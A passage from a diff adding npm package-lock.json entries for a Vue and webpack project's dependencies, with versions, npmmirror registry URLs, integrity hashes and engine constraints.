"sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "dev": true, + "dependencies": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/ufo": { + "version": "1.5.4", + "resolved": "https://registry.npmmirror.com/ufo/-/ufo-1.5.4.tgz", + "integrity": "sha512-UsUk3byDzKd04EyoZ7U4DOlxQaD14JUKQl6/P7wiX4FNvUfm3XL246n9W5AmqwW5RSFJ27NAuM0iLscAOYUiGQ==", + "dev": true + }, + "node_modules/undici-types": { + "version": "6.19.8", + "resolved": "https://registry.npmmirror.com/undici-types/-/undici-types-6.19.8.tgz", + "integrity": "sha512-ve2KP6f/JnbPBFyobGHuerC9g1FYGn/F8n1LWTwNxCEzd6IfqTwUQcNXgEtmmQ6DlRrC1hrSrBnCZPokRrDHjw==", + "dev": true + }, + "node_modules/unicode-canonical-property-names-ecmascript": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.1.tgz", + "integrity": "sha512-dA8WbNeb2a6oQzAQ55YlT5vQAWGV9WXOsi3SskE3bcCdM0P4SDd+24zS/OCacdRq5BkdsRj9q3Pg6YyQoxIGqg==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz", + "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==", + "dev": true, + "dependencies": { + "unicode-canonical-property-names-ecmascript": "^2.0.0", + "unicode-property-aliases-ecmascript": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-value-ecmascript": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.2.0.tgz", + "integrity": "sha512-4IehN3V/+kkr5YeSSDDQG8QLqO26XpL2XP3GQtqwlT/QYSECAwFztxVHjlbh0+gjJ3XmNLS0zDsbgs9jWKExLg==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-property-aliases-ecmascript": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz", + "integrity": "sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/unimport": { + "version": "3.13.1", + "resolved": "https://registry.npmmirror.com/unimport/-/unimport-3.13.1.tgz", + "integrity": "sha512-nNrVzcs93yrZQOW77qnyOVHtb68LegvhYFwxFMfuuWScmwQmyVCG/NBuN8tYsaGzgQUVYv34E/af+Cc9u4og4A==", + "dev": true, + "dependencies": { + "@rollup/pluginutils": "^5.1.2", + "acorn": "^8.12.1", + "escape-string-regexp": "^5.0.0", + "estree-walker": "^3.0.3", + "fast-glob": "^3.3.2", + "local-pkg": "^0.5.0", + "magic-string": "^0.30.11", + "mlly": "^1.7.1", + "pathe": "^1.1.2", + "pkg-types": "^1.2.0", + "scule": "^1.3.0", + "strip-literal": "^2.1.0", + "unplugin": "^1.14.1" + } + }, + "node_modules/unimport/node_modules/escape-string-regexp": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/escape-string-regexp/-/escape-string-regexp-5.0.0.tgz", + "integrity": "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/unimport/node_modules/estree-walker": { + "version": "3.0.3", + "resolved": "https://registry.npmmirror.com/estree-walker/-/estree-walker-3.0.3.tgz", + "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", + "dev": true, + "dependencies": { + "@types/estree": "^1.0.0" + } + }, + "node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "dev": true, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/unplugin": { + "version": "1.15.0", + "resolved": "https://registry.npmmirror.com/unplugin/-/unplugin-1.15.0.tgz", + "integrity": "sha512-jTPIs63W+DUEDW207ztbaoO7cQ4p5aVaB823LSlxpsFEU3Mykwxf3ZGC/wzxFJeZlASZYgVrWeo7LgOrqJZ8RA==", + "dev": true, + "dependencies": { + "acorn": "^8.14.0", + "webpack-virtual-modules": "^0.6.2" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "webpack-sources": "^3" + }, + "peerDependenciesMeta": { + "webpack-sources": { + "optional": true + } + } + }, + "node_modules/unplugin-auto-import": { + "version": "0.16.1", + "resolved": "https://registry.npmmirror.com/unplugin-auto-import/-/unplugin-auto-import-0.16.1.tgz", + "integrity": "sha512-H3Ky56cGEEHTssxUIFuGXTowGVlT/Bp3MBx1yyCzUHzAtdrO+2r9zpid32f2AkTpQxo2lch6yaTK61Im+rEyPQ==", + "dev": true, + "dependencies": { + "@antfu/utils": "^0.7.2", + "@rollup/pluginutils": "^5.0.2", + "local-pkg": "^0.4.3", + "magic-string": "^0.30.0", + "minimatch": "^9.0.1", + "unimport": "^3.0.7", + "unplugin": "^1.3.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + }, + "peerDependencies": { + "@nuxt/kit": "^3.2.2", + "@vueuse/core": "*" + }, + "peerDependenciesMeta": { + "@nuxt/kit": { + "optional": true + }, + "@vueuse/core": { + "optional": true + } + } + }, + "node_modules/unplugin-auto-import/node_modules/brace-expansion": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/unplugin-auto-import/node_modules/local-pkg": { + "version": "0.4.3", + "resolved": "https://registry.npmmirror.com/local-pkg/-/local-pkg-0.4.3.tgz", + "integrity": "sha512-SFppqq5p42fe2qcZQqqEOiVRXl+WCP1MdT6k7BDEW1j++sp5fIY+/fdRQitvKgB5BrBcmrs5m/L0v2FrU5MY1g==", + "dev": true, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/unplugin-auto-import/node_modules/minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/unplugin-vue-components": { + "version": "0.25.0", + "resolved": "https://registry.npmmirror.com/unplugin-vue-components/-/unplugin-vue-components-0.25.0.tgz", + "integrity": "sha512-HxrQ4GMSS1RwVww2av3a42cABo/v5AmTRN9iARv6e/xwkrfTyHhLh84kFwXxKkXK61vxDHxaryn694mQmkiVBg==", + "dev": true, + "dependencies": { + "@antfu/utils": "^0.7.3", + "@rollup/pluginutils": "^5.0.2", + "chokidar": "^3.5.3", + "debug": "^4.3.4", + "fast-glob": "^3.2.12", + "local-pkg": "^0.4.3", + "magic-string": "^0.30.0", + "minimatch": "^9.0.1", + "resolve": "^1.22.2", + "unplugin": "^1.3.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + }, + "peerDependencies": { + "@babel/parser": "^7.15.8", + "@nuxt/kit": "^3.2.2", + "vue": "2 || 3" + }, + "peerDependenciesMeta": { + "@babel/parser": { + "optional": true + }, + "@nuxt/kit": { + "optional": true + } + } + }, + "node_modules/unplugin-vue-components/node_modules/brace-expansion": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/unplugin-vue-components/node_modules/local-pkg": { + "version": "0.4.3", + "resolved": "https://registry.npmmirror.com/local-pkg/-/local-pkg-0.4.3.tgz", + "integrity": "sha512-SFppqq5p42fe2qcZQqqEOiVRXl+WCP1MdT6k7BDEW1j++sp5fIY+/fdRQitvKgB5BrBcmrs5m/L0v2FrU5MY1g==", + "dev": true, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/unplugin-vue-components/node_modules/minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/unplugin/node_modules/webpack-virtual-modules": { + "version": "0.6.2", + "resolved": "https://registry.npmmirror.com/webpack-virtual-modules/-/webpack-virtual-modules-0.6.2.tgz", + "integrity": "sha512-66/V2i5hQanC51vBQKPH4aI8NMAcBW59FVBs+rC7eGHupMyfn34q7rZIE+ETlJ+XTevqfUhVVBgSUNSW2flEUQ==", + "dev": true + }, + "node_modules/update-browserslist-db": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/update-browserslist-db/-/update-browserslist-db-1.1.1.tgz", + "integrity": "sha512-R8UzCaa9Az+38REPiJ1tXlImTJXlVfgHZsglwBD/k6nj76ctsH1E3q4doGrukiLQd3sGQYu56r5+lo5r94l29A==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "escalade": "^3.2.0", + "picocolors": "^1.1.0" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmmirror.com/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dev": true, + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==" + }, + "node_modules/utila": { + "version": "0.4.0", + "resolved": "https://registry.npmmirror.com/utila/-/utila-0.4.0.tgz", + "integrity": "sha512-Z0DbgELS9/L/75wZbro8xAnT50pBVFQZ+hUEueGDU5FN51YSCYM+jdxsfCiHjwNP/4LCDD0i/graKpeBnOXKRA==", + "dev": true + }, + "node_modules/utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", + "dev": true, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmmirror.com/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "dev": true, + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/v8-compile-cache": { + "version": "2.4.0", + "resolved": "https://registry.npmmirror.com/v8-compile-cache/-/v8-compile-cache-2.4.0.tgz", + "integrity": "sha512-ocyWc3bAHBB/guyqJQVI5o4BZkPhznPYUG2ea80Gond/BgNWpap8TOmLSeeQG7bnh2KMISxskdADG59j7zruhw==", + "dev": true + }, + "node_modules/validate-npm-package-license": { + "version": "3.0.4", + "resolved": "https://registry.npmmirror.com/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", + "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", + "dev": true, + "dependencies": { + "spdx-correct": "^3.0.0", + "spdx-expression-parse": "^3.0.0" + } + }, + "node_modules/vanilla-colorful": { + "version": "0.7.2", + "resolved": "https://registry.npmmirror.com/vanilla-colorful/-/vanilla-colorful-0.7.2.tgz", + "integrity": "sha512-z2YZusTFC6KnLERx1cgoIRX2CjPRP0W75N+3CC6gbvdX5Ch47rZkEMGO2Xnf+IEmi3RiFLxS18gayMA27iU7Kg==" + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/vue": { + "version": "3.5.12", + "resolved": "https://registry.npmmirror.com/vue/-/vue-3.5.12.tgz", + "integrity": "sha512-CLVZtXtn2ItBIi/zHZ0Sg1Xkb7+PU32bJJ8Bmy7ts3jxXTcbfsEfBivFYYWz1Hur+lalqGAh65Coin0r+HRUfg==", + "dependencies": { + "@vue/compiler-dom": "3.5.12", + "@vue/compiler-sfc": "3.5.12", + "@vue/runtime-dom": "3.5.12", + "@vue/server-renderer": "3.5.12", + "@vue/shared": "3.5.12" + }, + "peerDependencies": { + "typescript": "*" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/vue-eslint-parser": { + "version": "8.3.0", + "resolved": "https://registry.npmmirror.com/vue-eslint-parser/-/vue-eslint-parser-8.3.0.tgz", + "integrity": "sha512-dzHGG3+sYwSf6zFBa0Gi9ZDshD7+ad14DGOdTLjruRVgZXe2J+DcZ9iUhyR48z5g1PqRa20yt3Njna/veLJL/g==", + "dev": true, + "dependencies": { + "debug": "^4.3.2", + "eslint-scope": "^7.0.0", + "eslint-visitor-keys": "^3.1.0", + "espree": "^9.0.0", + "esquery": "^1.4.0", + "lodash": "^4.17.21", + "semver": "^7.3.5" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/mysticatea" + }, + "peerDependencies": { + "eslint": ">=6.0.0" + } + }, + "node_modules/vue-eslint-parser/node_modules/eslint-scope": { + "version": "7.2.2", + "resolved": "https://registry.npmmirror.com/eslint-scope/-/eslint-scope-7.2.2.tgz", + "integrity": "sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==", + "dev": true, + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/vue-eslint-parser/node_modules/eslint-visitor-keys": { + "version": "3.4.3", + "resolved": "https://registry.npmmirror.com/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "dev": true, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/vue-eslint-parser/node_modules/espree": { + "version": "9.6.1", + "resolved": "https://registry.npmmirror.com/espree/-/espree-9.6.1.tgz", + "integrity": "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==", + "dev": true, + "dependencies": { + "acorn": "^8.9.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^3.4.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/vue-eslint-parser/node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmmirror.com/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/vue-eslint-parser/node_modules/semver": { + "version": "7.6.3", + "resolved": "https://registry.npmmirror.com/semver/-/semver-7.6.3.tgz", + "integrity": "sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/vue-hot-reload-api": { + "version": "2.3.4", + "resolved": "https://registry.npmmirror.com/vue-hot-reload-api/-/vue-hot-reload-api-2.3.4.tgz", + "integrity": "sha512-BXq3jwIagosjgNVae6tkHzzIk6a8MHFtzAdwhnV5VlvPTFxDCvIttgSiHWjdGoTJvXtmRu5HacExfdarRcFhog==", + "dev": true + }, + "node_modules/vue-loader": { + "version": "17.4.2", + "resolved": "https://registry.npmmirror.com/vue-loader/-/vue-loader-17.4.2.tgz", + "integrity": "sha512-yTKOA4R/VN4jqjw4y5HrynFL8AK0Z3/Jt7eOJXEitsm0GMRHDBjCfCiuTiLP7OESvsZYo2pATCWhDqxC5ZrM6w==", + "dev": true, + "dependencies": { + "chalk": "^4.1.0", + "hash-sum": "^2.0.0", + "watchpack": "^2.4.0" + }, + "peerDependencies": { + "webpack": "^4.1.0 || ^5.0.0-0" + }, + "peerDependenciesMeta": { + "@vue/compiler-sfc": { + "optional": true + }, + "vue": { + "optional": true + } + } + }, + "node_modules/vue-loader/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/vue-style-loader": { + "version": "4.1.3", + "resolved": "https://registry.npmmirror.com/vue-style-loader/-/vue-style-loader-4.1.3.tgz", + "integrity": "sha512-sFuh0xfbtpRlKfm39ss/ikqs9AbKCoXZBpHeVZ8Tx650o0k0q/YCM7FRvigtxpACezfq6af+a7JeqVTWvncqDg==", + "dev": true, + "dependencies": { + "hash-sum": "^1.0.2", + "loader-utils": "^1.0.2" + } + }, + "node_modules/vue-style-loader/node_modules/hash-sum": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/hash-sum/-/hash-sum-1.0.2.tgz", + "integrity": "sha512-fUs4B4L+mlt8/XAtSOGMUO1TXmAelItBPtJG7CyHJfYTdDjwisntGO2JQz7oUsatOY9o68+57eziUVNw/mRHmA==", + "dev": true + }, + "node_modules/vue-template-es2015-compiler": { + "version": "1.9.1", + "resolved": "https://registry.npmmirror.com/vue-template-es2015-compiler/-/vue-template-es2015-compiler-1.9.1.tgz", + "integrity": "sha512-4gDntzrifFnCEvyoO8PqyJDmguXgVPxKiIxrBKjIowvL9l+N66196+72XVYR8BBf1Uv1Fgt3bGevJ+sEmxfZzw==", + "dev": true + }, + "node_modules/watchpack": { + "version": "2.4.2", + "resolved": "https://registry.npmmirror.com/watchpack/-/watchpack-2.4.2.tgz", + "integrity": "sha512-TnbFSbcOCcDgjZ4piURLCbJ3nJhznVh9kw6F6iokjiFPl8ONxe9A6nMDVXDiNbrSfLILs6vB07F7wLBrwPYzJw==", + "dev": true, + "dependencies": { + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.1.2" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/wbuf": { + "version": "1.7.3", + "resolved": "https://registry.npmmirror.com/wbuf/-/wbuf-1.7.3.tgz", + "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==", + "dev": true, + "dependencies": { + "minimalistic-assert": "^1.0.0" + } + }, + "node_modules/wcwidth": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/wcwidth/-/wcwidth-1.0.1.tgz", + "integrity": "sha512-XHPEwS0q6TaxcvG85+8EYkbiCux2XtWG2mkc47Ng2A77BQu9+DqIOJldST4HgPkuea7dvKSj5VgX3P1d4rW8Tg==", + "dev": true, + "dependencies": { + "defaults": "^1.0.3" + } + }, + "node_modules/webidl-conversions": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/webidl-conversions/-/webidl-conversions-3.0.1.tgz", + "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==", + "dev": true + }, + "node_modules/webpack": { + "version": "5.95.0", + "resolved": "https://registry.npmmirror.com/webpack/-/webpack-5.95.0.tgz", + "integrity": "sha512-2t3XstrKULz41MNMBF+cJ97TyHdyQ8HCt//pqErqDvNjU9YQBnZxIHa11VXsi7F3mb5/aO2tuDxdeTPdU7xu9Q==", + "dev": true, + "dependencies": { + "@types/estree": "^1.0.5", + "@webassemblyjs/ast": "^1.12.1", + "@webassemblyjs/wasm-edit": "^1.12.1", + "@webassemblyjs/wasm-parser": "^1.12.1", + "acorn": "^8.7.1", + "acorn-import-attributes": "^1.9.5", + "browserslist": "^4.21.10", + "chrome-trace-event": "^1.0.2", + "enhanced-resolve": "^5.17.1", + "es-module-lexer": "^1.2.1", + "eslint-scope": "5.1.1", + "events": "^3.2.0", + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.2.11", + "json-parse-even-better-errors": "^2.3.1", + "loader-runner": "^4.2.0", + "mime-types": "^2.1.27", + "neo-async": "^2.6.2", + "schema-utils": "^3.2.0", + "tapable": "^2.1.1", + "terser-webpack-plugin": "^5.3.10", + "watchpack": "^2.4.1", + "webpack-sources": "^3.2.3" + }, + "bin": { + "webpack": "bin/webpack.js" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependenciesMeta": { + "webpack-cli": { + "optional": true + } + } + }, + "node_modules/webpack-bundle-analyzer": { + "version": "4.10.2", + "resolved": "https://registry.npmmirror.com/webpack-bundle-analyzer/-/webpack-bundle-analyzer-4.10.2.tgz", + "integrity": "sha512-vJptkMm9pk5si4Bv922ZbKLV8UTT4zib4FPgXMhgzUny0bfDDkLXAVQs3ly3fS4/TN9ROFtb0NFrm04UXFE/Vw==", + "dev": true, + "dependencies": { + "@discoveryjs/json-ext": "0.5.7", + "acorn": "^8.0.4", + "acorn-walk": "^8.0.0", + "commander": "^7.2.0", + "debounce": "^1.2.1", + "escape-string-regexp": "^4.0.0", + "gzip-size": "^6.0.0", + "html-escaper": "^2.0.2", + "opener": "^1.5.2", + "picocolors": "^1.0.0", + "sirv": "^2.0.3", + "ws": "^7.3.1" + }, + "bin": { + "webpack-bundle-analyzer": "lib/bin/analyzer.js" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/webpack-bundle-analyzer/node_modules/commander": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "dev": true, + "engines": { + "node": ">= 10" + } + }, + "node_modules/webpack-bundle-analyzer/node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/webpack-chain": { + "version": "6.5.1", + "resolved": "https://registry.npmmirror.com/webpack-chain/-/webpack-chain-6.5.1.tgz", + "integrity": "sha512-7doO/SRtLu8q5WM0s7vPKPWX580qhi0/yBHkOxNkv50f6qB76Zy9o2wRTrrPULqYTvQlVHuvbA8v+G5ayuUDsA==", + "deprecated": "Package no longer supported. Contact Support at https://www.npmjs.com/support for more info.", + "dev": true, + "dependencies": { + "deepmerge": "^1.5.2", + "javascript-stringify": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/webpack-dev-middleware": { + "version": "5.3.4", + "resolved": "https://registry.npmmirror.com/webpack-dev-middleware/-/webpack-dev-middleware-5.3.4.tgz", + "integrity": "sha512-BVdTqhhs+0IfoeAf7EoH5WE+exCmqGerHfDM0IL096Px60Tq2Mn9MAbnaGUe6HiMa41KMCYF19gyzZmBcq/o4Q==", + "dev": true, + "dependencies": { + "colorette": "^2.0.10", + "memfs": "^3.4.3", + "mime-types": "^2.1.31", + "range-parser": "^1.2.1", + "schema-utils": "^4.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/webpack-dev-middleware/node_modules/ajv": { + "version": "8.17.1", + "resolved": "https://registry.npmmirror.com/ajv/-/ajv-8.17.1.tgz", + "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/webpack-dev-middleware/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/webpack-dev-middleware/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + }, + "node_modules/webpack-dev-middleware/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmmirror.com/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": 